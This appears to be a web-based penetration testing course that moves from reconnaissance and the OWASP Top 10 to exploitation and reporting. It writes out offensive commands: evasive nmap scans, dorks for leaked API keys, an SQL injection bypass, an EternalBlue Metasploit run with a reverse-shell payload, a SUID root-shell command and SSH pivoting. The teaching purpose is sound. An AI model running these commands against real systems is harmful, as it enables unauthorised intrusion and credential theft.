Module 1: The Practitioner's Mindset

Welcome! If you've ever wondered how real security testing works outside of textbooks, you're in the right place. Vulnerability Assessment (VA) and Penetration Testing (PT) aren't just two names for running automated tools—they serve fundamentally different goals for a business.

Vulnerability Assessment vs. Penetration Testing

Think of a Vulnerability Assessment like a building inspector walking through a facility checking every single door, window, and fire alarm. They give you a long list of everything that could go wrong. A Penetration Test, on the other hand, is hiring a red team to pick one weak lock, sneak into the server room, and leave a flag on the CEO's desk to prove how far an actual attacker could get.

Real-World Frameworks That Matter

You don't need to memorize every standard, but having a game plan stops you from missing obvious things:

• PTES (Penetration Testing Execution Standard): Great high-level roadmap covering everything from agreeing on scope to final reporting.
• OWASP WSTG: Your bread and butter for web app audits. It lists explicit test cases so you know what to check next.
• OSSTMM: Helpful when you need operational metrics and repeatable measuring standards.

Module 2: Reconnaissance – Mapping the Surface

Ask any seasoned tester where they spend most of their time, and they'll tell you: Recon. The more you know about a target's perimeter, the easier it is to spot forgotten dev servers, staging endpoints, and legacy APIs that nobody is monitoring.

1. Passive Recon (OSINT)

Passive recon is about gathering intel without touching the target's servers directly. If the target looks at their firewalls or SIEM logs, your activity shouldn't show up at all.

Subdomain Enumeration via Public Records

When dev teams launch new microservices, they register SSL certificates. Those records end up in public Certificate Transparency (CT) logs—making them a goldmine for finding subdomains:

# Querying crt.sh for SSL certificates registered to the target domain
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u

# Using Amass to aggregate passive DNS and OSINT sources
amass enum -passive -d target.com

Google Dorking for Leaked Secrets

Search engines index far more than public homepages. Using targeted search queries lets you locate exposed documents, staging sites, and credentials:

site:target.com filetype:pdf "internal use only"
site:target.com inurl:gitlab OR inurl:jenkins
site:github.com "target.com" "API_KEY"

2. Active Recon & Port Scanning

Once passive intel is complete, active scanning interacts with target IP addresses to see what services are actually listening.

Getting the Most Out of Nmap

# Comprehensive scan: Check all TCP ports, grab service versions, run default scripts
nmap -sS -p- -sV -sC -O -oA target_full_scan 192.168.1.50

# Fast check on common UDP ports (DNS, SNMP, NTP, DHCP)
nmap -sU --top-ports 50 192.168.1.50

# Evasion tip: Use packet fragmentation and decoy IPs on strict networks
nmap -sS -f -D RND:10 192.168.1.50

Module 3: Vulnerability Management – Sorting Signal from Noise

Running a vulnerability scanner like Nessus or OpenVAS against a corporate subnet will produce a massive report. A beginner hands the client a raw 400-page PDF; a professional filters out the false positives and explains what actually matters.

How Scanners Think

Vulnerability scanners follow a three-step rhythm:

1. Discovery: Is the host alive? What ports are open?
2. Banner Grabbing: What software version is running (e.g., Apache 2.4.49)?
3. Safe Probing: Sending lightweight requests to verify if a known bug or default credential exists without crashing the service.

CVSS v3.1: Understanding Risk

The Common Vulnerability Scoring System (CVSS) translates technical flaws into a 0 to 10 severity rating. However, context is everything: a CVSS 9.8 critical bug on an air-gapped test server is often less urgent to fix than a CVSS 6.1 bug sitting directly on your core login page.

CVSS Vector Example:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H  --> Base Score: 9.8 (CRITICAL)
Meaning: Network reachable, low complexity, no credentials required, zero user interaction needed, complete takeover potential.

Module 4: OWASP A01 – Broken Access Control

If you ask web security auditors what flaw they see most often in modern web applications, the answer is usually access control failures. This happens when the application forgets to verify whether the logged-in user actually owns the data they are requesting.

IDOR (Insecure Direct Object Reference)

Imagine logging into your bank account and seeing your profile URL: https://example.com/account?id=1002. If changing that number to 1003 loads another user's private financial statement, you've found an IDOR.

How to Fix It Properly

Never trust client-side parameters for authorization. Always validate permissions on the backend using active session tokens.

// Safe Pattern (Node.js/Express)
app.get('/api/document/:docId', async (req, res) => {
    const userId = req.session.userId; // Pull identity from verified server-side session
    const doc = await Database.findDocument(req.params.docId);

    if (!doc || doc.ownerId !== userId) {
        return res.status(403).json({ error: "Unauthorized access" });
    }

    res.json(doc);
});

Module 5: OWASP A02 – Cryptographic Failures

This isn't usually about "breaking math"—it's about how developers implement cryptography in practice. Common slip-ups include sending sensitive data over unencrypted HTTP or storing user passwords using weak algorithms like MD5 or plain SHA256.

What Strong Crypto Looks Like Today

• Data in Transit: TLS 1.3 enforced across all web routes with HTTP Strict Transport Security (HSTS) enabled.
• Password Storage: Salted, multi-work-factor algorithms like Argon2id or bcrypt (never raw hash functions).
• Data at Rest: AES-256-GCM for sensitive fields, keeping key storage separated from the primary application server.

Module 6: OWASP A03 – Injection Flaws

Injection happens whenever an application takes untrusted input from a user and pastes it directly into a command string, dynamic SQL query, or system call without separating the data from the instruction code.

SQL Injection (SQLi)

When user input is blindly glued into a SQL statement, attackers can trick the database into interpreting user input as database instructions:

-- Attacker input in login form: admin' --
SELECT * FROM users WHERE username = 'admin' --' AND password = 'xyz';
-- The rest of the query gets commented out, bypassing password checks!

Testing with SQLMap

# Automating SQLi verification on an endpoint parameter
sqlmap -u "http://target.com/item.php?id=1" --batch --dbs

The Fix: Prepared Statements

Prepared statements ensure the database engine treats user input strictly as data parameters, never executable code.

// Safe SQL in Java using PreparedStatement
String sql = "SELECT * FROM users WHERE email = ? AND status = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, userEmail);
stmt.setString(2, "ACTIVE");
ResultSet results = stmt.executeQuery();

Cross-Site Scripting (XSS)

XSS happens when an application includes untrusted user input in a web page without proper encoding, letting an attacker run malicious JavaScript in another user's browser session.

Module 7: OWASP A04 – Insecure Design

There's a crucial difference between an implementation bug and a design flaw. You can write perfect, bug-free code, but if your business logic allows someone to reset any user account by answering a simple security question, the design itself is insecure.

Core Principles for Better Security Architecture

• Threat Modeling: Mapping out data flows and attack vectors before writing code.
• Defense in Depth: Never relying on a single security boundary. If your WAF fails, your backend validation should still catch the threat.
• Principle of Least Privilege: Giving users, API tokens, and services only the access strictly required to do their job.

Module 8: OWASP A05 – Security Misconfigurations

Even secure code will fall if deployed onto an unhardened server. Security misconfigurations happen when default settings are left unchanged, unnecessary services are running, or detailed error messages leak internal information.

Things to Audit

• Default Credentials: Admin panels running default factory passwords (e.g., admin:admin).
• Verbose Error Messages: Stack traces exposed on production endpoints revealing framework versions and file paths.
• Unused Ports & Services: Open management ports (like SSH or SMB) exposed directly to the open internet.

Module 9: OWASP A06 – Vulnerable & Outdated Components

Modern apps are rarely built from scratch; they're built on top of hundreds of open-source packages and frameworks. If one of those libraries contains a known vulnerability, your application inherits that risk.

Keeping Up with Supply Chain Risks

Automate third-party dependency scanning directly inside your build pipeline using tools like npm audit, OWASP Dependency-Check, or Snyk so vulnerable packages are caught before deployment.

Module 10: OWASP A07 – Authentication & Identification Failures

Authentication flaws allow attackers to compromise passwords, session keys, or identity tokens to assume the identity of legitimate users.

Security Checklist for Auth Systems

• Enforce Multi-Factor Authentication (MFA) on sensitive accounts.
• Implement rate limiting on login routes to stop credential stuffing attacks.
• Set cookie flags properly: Secure (HTTPS only), HttpOnly (inaccessible via JavaScript), and SameSite=Strict (CSRF protection).

Module 11: OWASP A08 – Software & Data Integrity Failures

This category addresses code and pipelines that don't protect against unauthorized code updates or untrusted data processing.

Insecure Deserialization

Deserialization converts structured data back into live objects in memory. If an app deserializes untrusted user input without validation, attackers can inject crafted payloads that lead to Remote Code Execution (RCE). Stick to plain data formats like JSON or Protocol Buffers whenever possible.

Module 12: OWASP A09 – Security Logging & Monitoring Failures

The average time it takes an organization to detect a breach can be weeks or even months. Without centralized logging and proactive alerts, attackers can move through networks undetected.

What Needs to Be Logged

• Failed login attempts and access control rejections.
• High-value transactions (e.g., password changes, email updates, funds transfers).
• Logs should be shipped off-host to a dedicated SIEM platform so attackers can't erase their tracks if a host is compromised.

Module 13: OWASP A10 – Server-Side Request Forgery (SSRF)

SSRF occurs when a web application makes network requests to external resources based on user input, without validating the destination URL. Attackers use this to force the server to talk to internal services that aren't exposed to the public internet.

Why SSRF is Dangerous in Cloud Environments

On platforms like AWS, an unvalidated SSRF can allow an attacker to query the cloud metadata service (e.g., http://169.254.169.254/latest/meta-data/) to extract temporary IAM credentials and pivot into the cloud account.

Module 14: Network & Infrastructure Exploitation

Once vulnerabilities are confirmed through testing, the exploitation phase demonstrates the real-world impact by obtaining initial shell access on target hosts.

Working with the Metasploit Framework

Metasploit standardizes exploit execution. Here is a typical workflow for testing a vulnerable service:

# Launching Metasploit
msfconsole

# Selecting an exploit module
use exploit/windows/smb/ms17_010_eternalblue

# Setting target and payload configurations
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Running the module
exploit

Password Cracking Basics

When you recover password hashes during an audit, offline cracking tools help measure password policy strength:

# Cracking NTLM hashes using Hashcat and the RockYou dictionary
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

# John the Ripper quick mode
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Module 15: Post-Exploitation & Pivoting

Getting a low-privilege shell is rarely the end of the story. Post-exploitation involves evaluating what data is accessible, escalating privileges safely, and moving through the internal network.

Linux Privilege Escalation (Checking SUID Binaries)

Binaries with the SUID bit set run with the permissions of the file owner (often root). Misconfigured SUID binaries are a common privilege escalation path:

# Finding SUID binaries on a compromised host
find / -perm -u=s -type f 2>/dev/null

# Example: If 'find' has SUID set, spawn a root shell:
find . -exec /bin/sh -p \; -quit

Network Pivoting

Pivoting turns a compromised host into a bridge to scan and access isolated internal networks that you can't reach directly from your attack machine.

# Setting up a dynamic SOCKS proxy via SSH to route traffic through a compromised host
ssh -D 1080 user@compromised-host.com

# Routing commands through proxychains on your attack box
proxychains nmap -sT -pn 10.10.10.5

Module 16: Reporting – Delivering Business Value

Your technical skill matters, but your client judges the entire engagement by the quality of your final report. A great report bridges technical details with actionable business advice.

Structure of an Effective VAPT Report

1. Executive Summary: Written for C-level leadership. Avoid deep jargon; focus on business risk, overall security posture, and top priorities.
2. Scope & Timeline: Clear details on what systems were tested, IP ranges, excluded assets, and exact testing windows.
3. Detailed Findings: For each vulnerability, include:
   • Clear title & CVSS severity score
   • Affected endpoint or system parameter
   • Step-by-step reproduction instructions with PoC screenshots
   • Realistic impact analysis
   • Specific remediation guidance for developers or sysadmins

Module 17: VAPT Interview Q&A Masterclass

Here is a curated collection of real-world technical and scenario-based interview questions asked by cybersecurity hiring managers. Click any question to reveal the recommended answer—clicking a new question automatically closes all others.

Fundamental Concepts & Methodology

Web Application Security & OWASP

Network, Infrastructure & Post-Exploitation